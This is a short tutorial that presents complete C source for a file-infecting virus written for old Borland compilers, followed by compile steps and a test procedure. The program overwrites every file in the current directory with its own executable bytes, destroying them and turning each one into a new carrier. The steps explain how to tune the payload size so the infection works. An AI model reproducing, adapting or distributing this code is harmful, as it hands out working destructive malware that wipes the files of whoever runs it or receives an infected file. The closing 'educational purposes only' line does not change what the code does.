This program is an example of how to create a virus in C.
This program demonstrates a simple virus program which upon execution (Running) creates a copy of
itself in the other file. Thus it
destroys other files by infecting them. But the virus infected file is also
capable of spreading the infection to another file and so on. Here’s the source code of the virus
program.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected=
%d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
USING BORLAND
TC++ 3.0 (16-BIT):
1. Load the
program in the compiler, press Alt-F9 to compile
2. Press F9 to
generate the EXE file (DO
NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR
COMPILER)
3. Note down
the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the
value of X in the source code with the noted down size (IN THE ABOVE SOURCECODE x= 89088; CHANGE IT)
5. Once again
follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
USING BORLAND
C++ 5.5 (32-BIT) :
1. Compile
once,note down the generated EXE
file length in bytes
2. Change the
value of X in source code to
this length in bytes
3. Recompile
it.The new EXE file is ready to infect
HOW TO TEST:
1. Open new
empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE
IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the
virus EXE file there you will see all the files in
the current directory get infected.
4. All the infected files will be ready to reinfect
That’s it
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR
MISUSE THIS VIRUS CODE
